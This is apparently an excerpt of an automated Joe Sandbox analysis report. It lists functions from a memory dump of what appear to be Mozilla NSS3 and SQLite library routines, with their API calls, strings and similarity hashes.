Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 40cad0ae471bda038a5aaaab8162633e8bd505a4fe0220e662c2a4f21dabc040
Instruction ID: 0a4c3bee7c4d5b71895199b74a39a08c31518973897e371a5fde01aeb714d6d0
Opcode Fuzzy Hash: 40cad0ae471bda038a5aaaab8162633e8bd505a4fe0220e662c2a4f21dabc040
Instruction Fuzzy Hash: 5D71F372D04781ABD710CF68DC80A6FB7A9EF84358F104A29F864A7640EF71D9488B92

Function 6CAFECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAFED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAFEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAFEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CAFEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAFF483
%s at line %d of [%.10s], xrefs: 6CAFF492
database corruption, xrefs: 6CAFF48D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: b339286527e5744a145482f2d805326547ab088918dd8be9f04d1bcedad12515
Instruction ID: 2b2316ed2230d52eb2aa5fe542f0a119e3b1ddcc939be753af464935b9f27ac1
Opcode Fuzzy Hash: b339286527e5744a145482f2d805326547ab088918dd8be9f04d1bcedad12515
Instruction Fuzzy Hash: C462EE30A042458FEB14CF28C880B9ABBF1AF45318F1C419DE9656BB92D775E8C7CB90

Function 6CBA0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CBA0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBA0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CBA1006
PK11_FreeSymKey.NSS3(?), ref: 6CBA101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBA1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBA103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CBA1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBA10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CBA10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA112E

Part of subcall function 6CBA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CBA08C4,?,?), ref: 6CBA15B8
Part of subcall function 6CBA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CBA08C4,?,?), ref: 6CBA15C1
Part of subcall function 6CBA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA162E
Part of subcall function 6CBA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA1637

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: b0963d477f6774e17150ce04eacd797e443385f78bf61eeff5674e49f832e164
Instruction ID: 5865e930d0e0a3782ba6685a6b84de9e33de3842079ab3c2fbddb23f784235af
Opcode Fuzzy Hash: b0963d477f6774e17150ce04eacd797e443385f78bf61eeff5674e49f832e164
Instruction Fuzzy Hash: A0710375E08281DFDB50CFA5CC80A6AB7B4FF48318F18862DE54997711E731D946CB81

Function 6CBC6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB71C6F,00000000,00000004,?,?), ref: 6CBC6C3F

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CB71C6F,00000000,00000004,?,?), ref: 6CBC6C60
PR_ExplodeTime.NSS3(00000000,6CB71C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CB71C6F,00000000,00000004,?,?), ref: 6CBC6C94

Strings

gfff, xrefs: 6CBC6CF5
gfff, xrefs: 6CBC6D9C
gfff, xrefs: 6CBC6CFD
gfff, xrefs: 6CBC6D30
gfff, xrefs: 6CBC6D66

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 4c5b37ac2049b19cf0b0f317c0455fa42eb607d6b42d8f9cd2056e55daefbedf
Instruction ID: 7319f21a1d6adfe858137df448b7d17fed291e6d3b95194214878d5168082e2c
Opcode Fuzzy Hash: 4c5b37ac2049b19cf0b0f317c0455fa42eb607d6b42d8f9cd2056e55daefbedf
Instruction Fuzzy Hash: 4F513B72B016494FC708CDADDC526EEB7DAABA4310F48C23AE442DB781D638D906C752

Function 6CC40F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CC41027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC410B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC41353

Strings

'%.*q', xrefs: 6CC41217, 6CC41292
zeroblob(%d), xrefs: 6CC41223
%lld, xrefs: 6CC4114B
%02x, xrefs: 6CC412F6
NULL, xrefs: 6CC4119E
$, xrefs: 6CC412A0
-- , xrefs: 6CC40FF5

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e45a05ed2c9eb56f3d47ae92bee7876feab833ac8a4af9226af5793f5cd80068
Instruction ID: 44a433218858c905dfe71981df47f5d21606af5103ab74d12d3fe27e594557ef
Opcode Fuzzy Hash: e45a05ed2c9eb56f3d47ae92bee7876feab833ac8a4af9226af5793f5cd80068
Instruction Fuzzy Hash: 60E18971A083809FD714CF59C480A6BBBF1AF86358F04C92DE9C587A51E771E859CB82

Function 6CC48FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC48FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC490DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC49118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC4915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC491C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC49209

Strings

UUUU, xrefs: 6CC49255
3333, xrefs: 6CC4925E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 1f2e4d4c3c2d039b5d8a9dbf629b081ee81b8f59b84a5c75f7ae3bb27938e709
Instruction ID: 0010fec66597570bebe8be0000fc85f6b1d0bac4e568ece3d33581b5bf4de122
Opcode Fuzzy Hash: 1f2e4d4c3c2d039b5d8a9dbf629b081ee81b8f59b84a5c75f7ae3bb27938e709
Instruction Fuzzy Hash: 80A19172E001259BDB04CB69CD91B9EB7B5BF48324F098129D915B7791E736EC02CBD1

Function 6CB00FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB5F9C9,?,6CB5F4DA,6CB5F9C9,?,?,6CB2369A), ref: 6CAFCA7A
Part of subcall function 6CAFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CAFCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB0103E
EnterCriticalSection.KERNEL32(?), ref: 6CB01139
LeaveCriticalSection.KERNEL32(?), ref: 6CB01190
sqlite3_free.NSS3(00000000), ref: 6CB01227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB0126E
sqlite3_free.NSS3(?), ref: 6CB0127F

Strings

winAccess, xrefs: 6CB0129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB01267

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: a3d6a8486e524e7d69cd70b795a1bdea268364aa5c787481e31a894337f3daff
Instruction ID: b94ce40e636a17a4f63daa3a7339286783eb9ba8ff1d746c15765952723d1e3c
Opcode Fuzzy Hash: a3d6a8486e524e7d69cd70b795a1bdea268364aa5c787481e31a894337f3daff
Instruction Fuzzy Hash: E87109317452819BEB0CDF65DC85A6A3B75FB87328F18422DF91587A80EB30E946C793

Function 6CB0AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CC2CF46,?,6CAFCDBD,?,6CC2BF31,?,?,?,?,?,?,?), ref: 6CB0B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CC2CF46,?,6CAFCDBD,?,6CC2BF31), ref: 6CB0B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CC2CF46,?,6CAFCDBD,?,6CC2BF31), ref: 6CB0B0A2
CloseHandle.KERNEL32(?,?,6CC2CF46,?,6CAFCDBD,?,6CC2BF31,?,?,?,?,?,?,?,?,?), ref: 6CB0B100
sqlite3_free.NSS3(?,?,00000002,?,6CC2CF46,?,6CAFCDBD,?,6CC2BF31,?,?,?,?,?,?,?), ref: 6CB0B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CC2CF46,?,6CAFCDBD,?,6CC2BF31), ref: 6CB0B12D

Part of subcall function 6CAF9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB0C6FD,?,?,?,?,6CB5F965,00000000), ref: 6CAF9F0E
Part of subcall function 6CAF9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB5F965,00000000), ref: 6CAF9F5D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 8cb7adc215fce9e3a12980dc80197703f9efa1242115907af02bc1f7f9a80b0f
Instruction ID: 6bcfc241ac1ac87e4f7671ba2c5ddbcc675da04c063d7120e3e2e60ed9182e68
Opcode Fuzzy Hash: 8cb7adc215fce9e3a12980dc80197703f9efa1242115907af02bc1f7f9a80b0f
Instruction Fuzzy Hash: 4E91DFB1B042468FDB04CF25D985A6BBBB5FF45308F144A2DE416D7A50EB30E985CF92

Function 6CC88D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCD14E4,6CC3CC70), ref: 6CC88D47
PR_GetCurrentThread.NSS3 ref: 6CC88D98

Part of subcall function 6CB60F00: PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B
Part of subcall function 6CB60F00: PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CC88E7B
htons.WSOCK32(?), ref: 6CC88EDB
PR_GetCurrentThread.NSS3 ref: 6CC88F99
PR_GetCurrentThread.NSS3 ref: 6CC8910A

Strings

%u.%u.%u.%u, xrefs: 6CC88E74

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: fc4694b68a3a7aaf7b62af8ca4ec9238f3971584c73c7de31e5bc72d891431e5
Instruction ID: a21dcee77f1da37306a22950705c6832075f1893681411acae92f65dc18e6f5b
Opcode Fuzzy Hash: fc4694b68a3a7aaf7b62af8ca4ec9238f3971584c73c7de31e5bc72d891431e5
Instruction Fuzzy Hash: 8102793190A2518FDB14CF19C4687ABBFB2EF4230CF19825ED8919BA91E735E949C790

Function 6CC2A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CC4C3A2,?,?,00000000,00000000), ref: 6CC2A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC2A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC2A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC2A738

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC2A6CA
%s at line %d of [%.10s], xrefs: 6CC2A6D9
database corruption, xrefs: 6CC2A6D4

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: 7cd704895238eedae9d1ec4e505afab97f9a9a9a63e0f5982d37f4b94cd3c0f8
Instruction ID: b12f280dabea8229e3a0bd1c3f949f2bc3c47acbd392d5b9bd8a6b1d8858b7b1
Opcode Fuzzy Hash: 7cd704895238eedae9d1ec4e505afab97f9a9a9a63e0f5982d37f4b94cd3c0f8
Instruction Fuzzy Hash: E291CE716087018BC714CF29C480A5AB7E1BF88314F554A6DE896CBB91FB78EC85CB82

Function 6CC068E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CC068FC
PR_EnterMonitor.NSS3 ref: 6CC06924

Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC390AB
Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC390C9
Part of subcall function 6CC39090: EnterCriticalSection.KERNEL32 ref: 6CC390E5
Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC39116
Part of subcall function 6CC39090: LeaveCriticalSection.KERNEL32 ref: 6CC3913F

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

PR_EnterMonitor.NSS3 ref: 6CC0693E
TlsGetValue.KERNEL32 ref: 6CC06977
TlsGetValue.KERNEL32 ref: 6CC069B8
PR_ExitMonitor.NSS3 ref: 6CC06B1E
PR_ExitMonitor.NSS3 ref: 6CC06B39
TlsGetValue.KERNEL32 ref: 6CC06B62

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: b982f021c04116e8297844ce273bfe5d48324cdeae3b313c746c097e4748954d
Instruction ID: 47d40ae87268f1ff0c47c750bc1261fb4ee9baf05269012f8aef05f672abcd0c
Opcode Fuzzy Hash: b982f021c04116e8297844ce273bfe5d48324cdeae3b313c746c097e4748954d
Instruction Fuzzy Hash: 7F915FB4758900CBEB50DF2EC48055E7BB2FB87304B618259DC84CBA19E732E9C2DB85

Function 6CB0EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CB0F95C, 6CB0F9BF, 6CB0FA5E, 6CB0FA8B
sqlite_master, xrefs: 6CB0F0AB, 6CB0F2DA, 6CB0F757, 6CB0F93E
table, xrefs: 6CB0F05C, 6CB0FABC, 6CB0FAC7
there is already an index named %s, xrefs: 6CB0F9D7
not authorized, xrefs: 6CB0F957, 6CB0F9BA
sqlite_temp_master, xrefs: 6CB0F0A6, 6CB0F2D5
view, xrefs: 6CB0F061, 6CB0F071, 6CB0FAB7
temporary table name must be unqualified, xrefs: 6CB0F734
%s %T already exists, xrefs: 6CB0FAC8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 2d41699fb595e25e7f727e008de8d6c51bd32fd551b9bf3e7060540e8176f64b
Instruction ID: 56f9480287f93c3cbfa13c8f50649822194c3725c466d36c54f680200b177247
Opcode Fuzzy Hash: 2d41699fb595e25e7f727e008de8d6c51bd32fd551b9bf3e7060540e8176f64b
Instruction Fuzzy Hash: 58728D70F042858FDB14CF68C484BAABBF2FF49308F1481A9D8159BB92D775E846CB95

Function 6CB909A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB906A0: TlsGetValue.KERNEL32 ref: 6CB906C2
Part of subcall function 6CB906A0: EnterCriticalSection.KERNEL32(?), ref: 6CB906D6
Part of subcall function 6CB906A0: PR_Unlock.NSS3 ref: 6CB906EB

memcmp.VCRUNTIME140(00000000,6CB79B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CB79B8A,00000000,6CB72D6B), ref: 6CB909D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CB79B8A,00000000,6CB72D6B), ref: 6CB909F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB79B8A,00000000,6CB72D6B), ref: 6CB90A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB79B8A,00000000,6CB72D6B), ref: 6CB90A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB79B8A,00000000,6CB72D6B), ref: 6CB90A48

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
